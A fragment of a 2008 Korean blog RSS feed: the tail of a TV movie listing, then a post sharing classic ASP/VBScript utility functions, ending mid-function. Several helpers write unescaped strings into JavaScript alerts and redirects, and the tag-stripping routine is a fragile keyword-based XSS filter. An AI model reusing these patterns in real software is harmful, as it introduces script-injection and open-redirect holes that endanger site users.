<TD width=189><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:79:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B8%AE%BA%EA+%C5%B8%C0%CF%B7%AF&amp;nq=2"><FONT size=2>리브 타일러</FONT></A><FONT size=2>, 톰 에버릿 스콧 </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 10시 50분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:7A:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS2TV</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:7B:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%BF%EC%BE%C6%C7%D1+%BC%BC%B0%E8&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>우아한 세계</FONT></A><FONT size=2> </FONT>
<TD width=189><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:7C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BC%DB%B0%AD%C8%A3&amp;nq=2"><FONT size=2>송강호</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:7D:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BF%C0%B4%DE%BC%F6&amp;nq=2"><FONT size=2>오달수</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:7E:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%DA%C1%F6%BF%B5&amp;nq=2"><FONT size=2>박지영</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>밤 12시 10분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:7F:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS1TV</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:80:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B5%F0%BE%EE+%C6%F2%BE%E7&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>디어 평양</FONT></A><FONT size=2> </FONT>
<TD width=189><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:81:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BE%E7%BF%B5%C8%F1+%B0%A8%B5%B6&amp;nq=2"><FONT size=2>양영희</FONT></A><FONT size=2> <FONT color=gray>(감독)</FONT> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>밤 12시 20분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:82:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:83:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%B9%CC%B3%E0%BB%EF%C3%D1%BB%E7+2&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>미녀삼총사 맥시멈 스피드</FONT></A><FONT size=2> </FONT>
<TD width=189><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:84:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C4%AB%B8%DE%B7%D0+%B5%F0%BE%C6%C1%EE&amp;nq=2"><FONT size=2>카메론 디아즈</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:85:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B5%E5%B7%F9+%BA%A3%B8%AE%B8%F0%BE%EE&amp;nq=2"><FONT size=2>드류 베리모어</FONT></A><FONT size=2> </FONT></TD></TR></TBODY></TABLE>
<P><FONT size=2>9일 </FONT>
<TABLE width=596>
<TBODY>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 09시 40분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:86:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=227><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:87:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%B8%B6%C6%C4%B5%B5+2&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>마파도 2</FONT></A><FONT size=2> </FONT>
<TD width=187><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:88:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%CC%B9%AE%BD%C4&amp;nq=2"><FONT size=2>이문식</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:89:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BF%A9%BF%EE%B0%E8&amp;nq=2"><FONT size=2>여운계</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:8A:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%C0%BB%B5%BF&amp;nq=2"><FONT size=2>김을동</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 11시 00분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:8B:010100:1BB76BA06::t/*http://www.imbc.com" target=_blank><FONT size=2>MBC</FONT></A><FONT size=2> </FONT>
<TD width=227><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:8C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BA%BB+%BD%B4%C7%C1%B8%AE%B8%D3%BD%C3&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>본 슈프리머시</FONT></A><FONT size=2> </FONT>
<TD width=187><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:8D:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B8%CB+%B5%A5%C0%CC%B8%D5&amp;nq=2"><FONT size=2>맷 데이먼</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:8E:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C7%C1%B6%F5%C4%AB+%C6%F7%C5%D9%C5%D7&amp;nq=2"><FONT size=2>프란카 포텐</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 11시 00분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:8F:010100:1BB76BA06::t/*http://www.ebs.co.kr" target=_blank><FONT size=2>EBS</FONT></A><FONT size=2> </FONT>
<TD width=227><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:90:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B5%B5%C4%EC%C5%B8%BF%F6&amp;a=w&amp;s=&amp;f=&amp;nq=2"><FONT size=2>도쿄타워</FONT></A><FONT size=2> </FONT>
<TD width=187><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:91:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BF%C0%B4%D9%B1%E2%B8%AE+%C1%D2&amp;nq=2"><FONT size=2>오다기리 죠</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:92:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C5%B0%C5%B0+%C5%B0%B8%B0&amp;nq=2"><FONT size=2>키키 키린</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 11시 35분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:93:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS2TV</FONT></A><FONT size=2> </FONT>
<TD width=227><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:94:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%B1%D8%B6%F4%B5%B5+%BB%EC%C0%CE%BB%E7%B0%C7&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>극락도 살인사건</FONT></A><FONT size=2> </FONT>
<TD width=187><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:95:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%DA%C7%D8%C0%CF&amp;nq=2"><FONT size=2>박해일</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:96:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%DA%BC%D6%B9%CC&amp;nq=2"><FONT size=2>박솔미</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:97:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BC%BA%C1%F6%B7%E7&amp;nq=2"><FONT size=2>성지루</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 11시 45분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:98:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=227><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:99:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B8%C5%C6%AE%B8%AF%BD%BA+3&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>매트릭스3 : 레볼루션</FONT></A><FONT size=2> </FONT>
<TD width=187><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:9A:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C5%B0%BE%C6%B4%A9+%B8%워3%B9%F8&amp;nq=2"><FONT size=2>로렌스 피시번</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오전 01시 00분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:9B:010100:1BB76BA06::t/*http://www.imbc.com" target=_blank><FONT size=2>MBC</FONT></A><FONT size=2> </FONT>
<TD width=227><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:9C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B8%B6%B0%AD%C8%A3%C5%DA&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>마강호텔</FONT></A><FONT size=2> </FONT>
<TD width=187><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:9D:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%BC%AE%C8%C6&amp;nq=2"><FONT size=2>김석훈</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:9E:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%BC%BA%C0%BA&amp;nq=2"><FONT size=2>김성은</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:9F:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%DA%C8%F1%C1%F8&amp;nq=2"><FONT size=2>박희진</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오전 01시 40분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:A0:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS2TV</FONT></A><FONT size=2> </FONT>
<TD width=227><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:A1:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%B5%B7+%C5%DA+%C6%C4%C6%C4&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>돈 텔 파파</FONT></A><FONT size=2> </FONT>
<TD width=187><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:A2:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C1%A4%BF%F5%C0%CE&amp;nq=2"><FONT size=2>정웅인</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:A3:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%AF%BD%C2%C8%A3&amp;nq=2"><FONT size=2>유승호</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:A4:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C3%A4%B9%CE%BC%AD&amp;nq=2"><FONT size=2>채민서</FONT></A><FONT size=2> </FONT></TD></TR></TBODY></TABLE>
<P><FONT size=2></FONT>&nbsp;</P> ]]> </description>
<category>엽기 | 코믹 | 펌</category>
<category>프로그램</category>
<category>방송</category>
<pubDate>Tue, 05 Feb 2008 11:22:00 +0900</pubDate>
<guid>http://syabang.com/blog/wolf/index.php/post/245</guid>
</item>
<item>
<title>유용한 function 모음</title>
<link>http://syabang.com/blog/wolf/index.php/post/243</link>
<description><![CDATA[ <P>&lt;%<BR>'==============================================================================<BR>'각종 함수 모음<BR>'==============================================================================</P>
<P><BR>&nbsp;</P>
<P>'####################################################################<BR>'DB 관련 함수<BR>'####################################################################</P>
<P>Function ConnStrNateMjb()<BR>&nbsp;'ConnStrNateMjb = "provider=sqloledb;server=localhost;database=머머머;uid=**;pwd=****;"<BR>&nbsp;ConnStrNateMjb = "provider=sqloledb;server=머머머;database=머머머;uid=**;pwd=***;"<BR>End Function</P>
<P>'####################################################################</P>
<P>&nbsp;</P>
<P>'==============================================================<BR>'if.... else 조건문..<BR>'==============================================================<BR>Function iif(condition, byval trueV, byval falseV)<BR>&nbsp;if condition then<BR>&nbsp; iif = trueV<BR>&nbsp;else<BR>&nbsp; iif = falseV<BR>&nbsp;end if<BR>End Function</P>
<P>'==============================================================<BR>'디버그용 출력<BR>'==============================================================<BR>Function dprintf(getString)<BR>&nbsp;response.write getString<BR>&nbsp;response.end<BR>End Function</P>
<P>'==============================================================<BR>'출력<BR>'==============================================================<BR>Function printf(getString)<BR>&nbsp;response.write getString<BR>End Function</P>
<P>'==============================================================<BR>'받은 문자열 인코딩(ASCII 코드)<BR>'==============================================================<BR>Function encodingStr(getString)<BR>&nbsp;Dim i, chrat, encode_str</P>
<P>&nbsp;encode_str = ""</P>
<P>&nbsp;&nbsp;&nbsp; for i = 1 to len(getString)<BR>&nbsp; chrat = mid(getString, i, 1)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; encode_str = encode_str &amp; hex(asc(chrat))<BR>&nbsp;next</P>
<P>&nbsp;encodingStr = encode_str<BR>End Function</P>
<P>'==============================================================<BR>'받은 문자열 디코딩(ASCII 코드)<BR>'==============================================================<BR>Function decodingStr(getString)<BR>&nbsp;Dim i, m, n, decode_str</P>
<P>&nbsp;decode_str = ""</P>
<P>&nbsp;for i = 1 to len(getString) step 2<BR>&nbsp; m = mid(getString, i, 2)<BR>&nbsp; n = "&amp;H" &amp; m</P>
<P>&nbsp; if n &gt; "&amp;H7F" then<BR>&nbsp;&nbsp; m = mid(getString, i, 4)<BR>&nbsp;&nbsp; n = "&amp;H" &amp; m<BR>&nbsp;&nbsp; i = i + 2<BR>&nbsp; end if</P>
<P>&nbsp; decode_str = decode_str &amp; chr(n)<BR>&nbsp;next</P>
<P>&nbsp;decodingStr = decode_str<BR>End Function</P>
<P>'==============================================================<BR>'alert 메시지<BR>'==============================================================<BR>Sub msgAlert(msg)<BR>&nbsp;Response.Write "&lt;script language=javascript&gt;" &amp; vbcrlf<BR>&nbsp;Response.Write "&lt;!--" &amp; vbcrlf<BR>&nbsp;Response.Write "alert('" &amp; msg &amp; "');" &amp; vbcrlf<BR>&nbsp;Response.Write "//--&gt;" &amp; vbcrlf<BR>&nbsp;Response.Write "&lt;/script&gt;" &amp; vbcrlf<BR>&nbsp;Response.End<BR>End Sub</P>
<P>'==============================================================<BR>'alert 메시지, 그리고 이동<BR>'==============================================================<BR>Sub msgRefresh(msg, page)<BR>&nbsp;Response.Write "&lt;SCRIPT language=javascript&gt;" &amp; vbcrlf<BR>&nbsp;Response.Write "&lt;!--" &amp; vbcrlf<BR>&nbsp;Response.Write "alert('" &amp; msg &amp; "');" &amp; vbcrlf<BR>&nbsp;if page = "back" then<BR>&nbsp; Response.Write "history.back();" &amp; vbcrlf<BR>&nbsp;elseif page = "close" then<BR>&nbsp; Response.Write "self.close();" &amp; vbcrlf<BR>&nbsp;else<BR>&nbsp; Response.Write "location.replace('" &amp; page &amp; "');" &amp; vbcrlf<BR>&nbsp;end if<BR>&nbsp;Response.Write "//--&gt;" &amp; vbcrlf<BR>&nbsp;Response.Write "&lt;/SCRIPT&gt;" &amp; vbcrlf<BR>&nbsp;Response.End<BR>End Sub</P>
<P>'==============================================================<BR>'alert 메시지, 그리고 메타테그를 이용한 페이지이동<BR>'==============================================================<BR>Sub metaRedirect(msg, page)<BR>&nbsp;Response.Write "&lt;script language=javascript&gt;" &amp; vbcrlf<BR>&nbsp;Response.Write "&lt;!--" &amp; vbcrlf<BR>&nbsp;if Trim(msg) &lt;&gt; "" then<BR>&nbsp; Response.Write "alert('" &amp; msg &amp; "');" &amp; vbcrlf<BR>&nbsp;end if<BR>&nbsp;Response.Write "//--&gt;" &amp; vbcrlf<BR>&nbsp;Response.Write "&lt;/script&gt;" &amp; vbcrlf<BR>&nbsp;if page = "back" then<BR>&nbsp; Response.Write "&lt;meta http-equiv='refresh' content='0;url=javascript:history.back();'&gt;" &amp; vbcrlf<BR>&nbsp;else<BR>&nbsp; Response.Write "&lt;meta http-equiv='refresh' content='0;url=" + page + "'&gt;" &amp; vbcrlf<BR>&nbsp;end if<BR>&nbsp;Response.End<BR>End Sub</P>
<P>'==============================================================<BR>'현재의 윈도우창 처리, 그리고 이동<BR>'==============================================================<BR>Sub dynamicRefresh(closeVal, page)<BR>&nbsp;Response.Write "&lt;SCRIPT language=javascript&gt;" &amp; vbcrlf<BR>&nbsp;Response.Write "&lt;!--" &amp; vbcrlf<BR>&nbsp;if closeVal = "yes" then<BR>&nbsp; Response.Write "self.close();" &amp; vbcrlf<BR>&nbsp;end if<BR>&nbsp;if page = "" or page = "no" or IsNull(page) or IsEmpty(page) then<BR>&nbsp; Response.Write ""<BR>&nbsp;else<BR>&nbsp; Response.Write page &amp; ";" &amp; vbcrlf<BR>&nbsp;end if<BR>&nbsp;Response.Write "//--&gt;" &amp; vbcrlf<BR>&nbsp;Response.Write "&lt;/SCRIPT&gt;" &amp; vbcrlf<BR>&nbsp;Response.End<BR>End Sub</P>
<P>'==============================================================<BR>'해당 페이지로 이동<BR>'==============================================================<BR>Sub respon_Redirect(page)<BR>&nbsp;Response.Redirect page<BR>&nbsp;Response.End<BR>End Sub</P>
<P>'==============================================================<BR>'Replace의 확장... Null 체크<BR>'==============================================================<BR>Function nReplace(getStr, pattern, convertStr)<BR>&nbsp;if getStr = "" or IsNull(getStr) or IsEmpty(getStr) then<BR>&nbsp;&nbsp; nReplace = ""<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; nReplace = Trim(replace(getStr, pattern, convertStr))<BR>&nbsp; end if<BR>End Function</P>
<P>'==============================================================<BR>'파라미터를 비교해서 비어있지 않은값을 리턴<BR>'==============================================================<BR>Function returnExistVal(val1, val2)<BR>&nbsp;if Trim(val1) = "" and Trim(val2) = "" then<BR>&nbsp; returnExistVal = ""<BR>&nbsp;elseif Trim(val1) = "" then<BR>&nbsp; returnExistVal = val2<BR>&nbsp;elseif Trim(val2) = "" then<BR>&nbsp; returnExistVal = val1<BR>&nbsp;else<BR>&nbsp; returnExistVal = -1<BR>&nbsp;end if<BR>End Function</P>
<P>'==============================================================<BR>'Trim의 확장... Null 체크<BR>'==============================================================<BR>Function nTrim(getString)<BR>&nbsp;&nbsp;&nbsp; if getString = "" or IsNull(getString) or IsEmpty(getString) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nTrim = ""<BR>&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nTrim = Trim(getString)<BR>&nbsp;&nbsp;&nbsp; end if<BR>End Function</P>
<P>'==============================================================<BR>'Int의 확장.... 숫자형이 아닐 때 한번 더 체크<BR>'==============================================================<BR>Function nInt(getNumber)<BR>&nbsp;Dim conNumber</P>
<P>&nbsp;conNumber = CStr(getNumber)</P>
<P>&nbsp;if IsNumeric(conNumber) then<BR>&nbsp; conNumber = Int(conNumber)<BR>&nbsp;elseif conNumber = "" or IsNull(conNumber) or IsEmpty(conNumber) then<BR>&nbsp; conNumber = 0<BR>&nbsp;else<BR>&nbsp; conNumber = 0<BR>&nbsp;end if</P>
<P>&nbsp;nInt = conNumber<BR>End Function</P>
<P>'==============================================================<BR>'CInt의 확장.... 숫자형이 아닐 때 한번 더 체크<BR>'==============================================================<BR>Function nCInt(getNumber)<BR>&nbsp;Dim conNumber</P>
<P>&nbsp;conNumber = CStr(getNumber)<BR>&nbsp;if IsNumeric(conNumber) then<BR>&nbsp; conNumber = CInt(conNumber)<BR>&nbsp;elseif conNumber = "" or IsNull(conNumber) or IsEmpty(conNumber) then<BR>&nbsp; conNumber = 0<BR>&nbsp;else<BR>&nbsp; conNumber = 0<BR>&nbsp;end if</P>
<P>&nbsp;nCInt = conNumber<BR>End Function</P>
<P>'==============================================================<BR>'CLng의 확장.... 숫자형이 아닐 때 한번 더 체크<BR>'==============================================================<BR>Function nCLng(getNumber)<BR>&nbsp;Dim conNumber</P>
<P>&nbsp;conNumber = CStr(getNumber)<BR>&nbsp;if IsNumeric(conNumber) then<BR>&nbsp; conNumber = CLng(conNumber)<BR>&nbsp;elseif conNumber = "" or IsNull(conNumber) or IsEmpty(conNumber) then<BR>&nbsp; conNumber = 0<BR>&nbsp;else<BR>&nbsp; conNumber = 0<BR>&nbsp;end if</P>
<P>&nbsp;nCLng = conNumber<BR>End Function</P>
<P>'==============================================================<BR>'HTML Tag를 화면에 보여주기 위해 convert 또는 revert한다.<BR>'==============================================================</P>
<P>'--------------------------------------------------------<BR>' 정규표현식을 이용한 대치<BR>' --------------------------------------------------------</P>
<P>Function eregi_replace(pattern, replace, text)<BR>&nbsp;Dim eregObj<BR>&nbsp;Set eregObj= New RegExp</P>
<P>&nbsp;eregObj.Pattern= pattern&nbsp;&nbsp;&nbsp; ' Set Pattern(패턴 설정)<BR>&nbsp;eregObj.IgnoreCase = True ' Set Case Insensitivity(대소문자 구분 여부)<BR>&nbsp;eregObj.Global = True&nbsp; ' Set All Replace(전체 문서에서 검색)<BR>&nbsp;eregi_replace = eregObj.Replace(text, replace) ' Replace String<BR>End Function</P>
<P>'------------------------------------------------------<BR>' HTML 태그 제거<BR>'------------------------------------------------------<BR>Function delete_tag(atcText)<BR>&nbsp;atcText= eregi_replace("&lt;html(.*|)&lt;body([^&gt;]*)&gt;","",atcText)<BR>&nbsp;atcText= eregi_replace("&lt;/body(.*)&lt;/html&gt;(.*)","",atcText)<BR>&nbsp;atcText= eregi_replace("&lt;[/]*(div|layer|body|html|head|meta|form|input|select|textarea|font|base|br|a href|img|u|strong|EM|P|A|span|table|tbody|tr|td|b|iframe|center|COLGROUP|COL|TFOOT|OL|Li|link|MARQUEE|UL|APPLET|OBJECT|!-)[^&gt;]*&gt;","",atcText)<BR>&nbsp;atcText= eregi_replace("&lt;(style|script|title|link|embed)(.*)&lt;/(style|script|title|embed)&gt;","",atcText)<BR>&nbsp;atcText= eregi_replace("&lt;[/]*(script|style|title|xmp|embed)&gt;","",atcText)<BR>&nbsp;atcText= eregi_replace("([a-z0-9]*script:)","deny_$1",atcText)<BR>&nbsp;atcText= eregi_replace("&lt;(\?|%)","&amp;lt;$1",atcText)<BR>&nbsp;atcText= eregi_replace("(\?|%)&gt;","$1&amp;gt;",atcText)</P>
<P>&nbsp;atcText= Replace(atcText, "&lt;", "&amp;lt;")<BR>&nbsp;atcText= Replace(atcText, "&gt;", "&amp;gt;")</P>
<P>&nbsp;delete_tag = atcText<BR>END Function</P>
<P><BR>'------------------------------------------------------<BR>'엔터키값(CHR(13)&amp;CHR(10))을 &lt;br&gt; 태그로 변경<BR>'------------------------------------------------------<BR>Function convertChr(getString)<BR>&nbsp;Dim conStr</P>
<P>&nbsp;conStr = getString<BR>&nbsp;if conStr = "" or IsNull(conStr) or IsEmpty(conStr) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conStr = ""<BR>&nbsp;&nbsp;&nbsp; else<BR>&nbsp; conStr = replace(conStr, CHR(13)&amp;CHR(10), "&lt;br&gt;") '케리지 리턴 / 라인피드<BR>&nbsp; conStr = replace(conStr, CHR(13), "&lt;br&gt;")&nbsp;&nbsp; '케리지 리턴<BR>&nbsp; conStr = replace(conStr, CHR(10), "&lt;br&gt;")&nbsp;&nbsp; '라인피드<BR>&nbsp;&nbsp;&nbsp; end if</P>
<P>&nbsp;convertChr = conStr<BR>End Function</P>
<P>'------------------------------------------------------<BR>'HTML Tag를 화면에 출력하도록 Convert시킨다.<BR>'엔터값은 &lt;br&gt;로 변경<BR>'------------------------------------------------------<BR>Function convertTag(getString, conChrValue)<BR>&nbsp;Dim conStr</P>
<P>&nbsp;conStr = getString<BR>&nbsp;if conStr = "" or IsNull(conStr) or IsEmpty(conStr) then<BR>&nbsp; conStr = ""<BR>&nbsp;&nbsp;&nbsp; else<BR>&nbsp; conStr = replace(conStr, CHR(60), "&amp;lt;") '&lt;<BR>&nbsp; conStr = replace(conStr, CHR(62), "&amp;gt;") '&gt;<BR>&nbsp; if conChrValue = "Y" then&nbsp;&nbsp; '엔터값을 &lt;br&gt;로 변경<BR>&nbsp;&nbsp; conStr = convertChr(conStr)<BR>&nbsp; end if<BR>&nbsp;end if</P>
<P>&nbsp;convertTag = conStr<BR>End Function</P>
<P>'------------------------------------------------------<BR>'HTML Tag가 화면에 실행되도록 Revert시킨다.<BR>'------------------------------------------------------<BR>Function revertTag(getString)<BR>&nbsp;Dim revStr</P>
<P>&nbsp;revStr = getString<BR>&nbsp;if revStr = "" or IsNull(revStr) or IsEmpty(revStr) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; revStr = ""<BR>&nbsp;&nbsp;&nbsp; else<BR>&nbsp; revStr = replace(revStr, "&amp;lt;", CHR(60))&nbsp; '&lt;<BR>&nbsp; revStr = replace(revStr, "&amp;gt;", CHR(62))&nbsp; '&gt;<BR>&nbsp;end if</P>
<P>&nbsp;revertTag = revStr<BR>End Function</P>
<P>'------------------------------------------------------<BR>'HTML Tag를 화면에 출력시 &lt;b&gt;태그는 허용<BR>'------------------------------------------------------<BR>Function revertBold(getString)<BR>&nbsp;Dim revStr</P>
